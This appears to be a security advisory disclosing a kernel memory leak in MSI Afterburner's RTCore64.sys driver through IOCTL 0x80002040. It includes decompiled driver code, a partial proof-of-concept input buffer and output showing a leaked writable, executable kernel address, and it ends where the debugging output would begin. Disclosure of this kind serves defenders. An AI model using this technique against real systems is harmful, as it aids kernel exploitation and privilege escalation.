Description
MSI Afterburner v4.6.5.16370 is vulnerable to a Kernel Memory Leak vulnerability by triggering the 0x80002040 IOCTL code of the RTCore64.sys driver.
Vulnerability
The 0x80002040 IOCTL code of the RTCore64.sys driver allows map up to 0x20000 of a physical address from range 0xC0000 to 0xE0000 on a non-paged virtual kernel memory range whose address can be leaked. That physical range is commonly used to store BIOS information of the device's motherboard.
The handling decompiled code of the 0x80002040 IOCTL starts with:
case 0x80002040:
if ( Options == 0x30 )
{
v33 = sub_11388(SystemBuffer);
pIrp->IoStatus.Status = v33
At [1] a check is made on the InputBufferLength parameter of the IOCTL request call. If it's equal to 0x30 bytes, the function sub_11388 is called at [2] with the SystemBuffer as a parameter.
Inside sub_11388, a call to sub_11044 is performed and the code checks if the returned value is not NULL:
if ( !sub_11044(*(_QWORD *)SystemBuffer, *(_DWORD *)(SystemBuffer + 0x10), (ULONG *)(SystemBuffer + 0x20)) )
return 0xC0000001i64
The only condition that returns not NULL at sub_11044 is:
if ( SystemBuffer >= 0xC0000 && SystemBuffer + PhysAddressOffset <= 0xE0000 )
return 1
After that check the code that follows on sub_11388 is:
pSystemBuffer = *(_QWORD *)SystemBuffer;
AddressSpace = 0;
if ( !HalTranslateBusAddress(Isa, 0, (PHYSICAL_ADDRESS)pSystemBuffer, &AddressSpace, &PhysicalAddress) )
return 0xC000009Ai64;
v4 = MmMapIoSpace(PhysicalAddress, *(unsigned int *)(SystemBuffer + 0x10), MmNonCached);
if ( !v4 )
return 0xC000009Ai64;
*(_QWORD *)(SystemBuffer + 8) = v4; At [1] the code uses MmMapIoSpace() to map the physical address range from 0xC0000 up to the offset passed on SystemBuffer + 0x10. At [2] the code writes to SystemBuffer + 0x8 the address returned by MmMapIoSpace().
A snipped of the Proof-of-Concept that passes all the checks is:
SIZE_T inputSize = 0x30;
...
ULONGLONG outbuf_allocation_addr = 0x00000000000C0000;
...
((PDWORD64)((DWORD64)inBuf + 0x0))[0] = (ULONGLONG)outBuf;
((PDWORD64)((DWORD64)inBuf + 0x10))[0] = (ULONGLONG)0x000000000001F000
The output of the Proof-of-Concept is:
PS C:\Users\admin\Desktop> .\PoC.exe
[+] Bytes sent: 48 (0x30)
[+] Bytes returned: 48 (0x30)
[+] Leaked address FFFF9F80C64C0000 (SystemBuffer + 0x8)
[+] Output (0): 00000000000C0000
[+] Output (8): FFFF9F80C64C0000
[+] Output (16): 000000000001F000
[+] Output (24): 4444444444444444
[+] Output (32): 4545454545454545
[+]
In the debugging session, the contents of the mapped address can be seen. It contains strings like VESA and VBE2 which are part of the BIOS of the GPU's motherboard used. The mapped address is also executable E(1) and writable W(1):
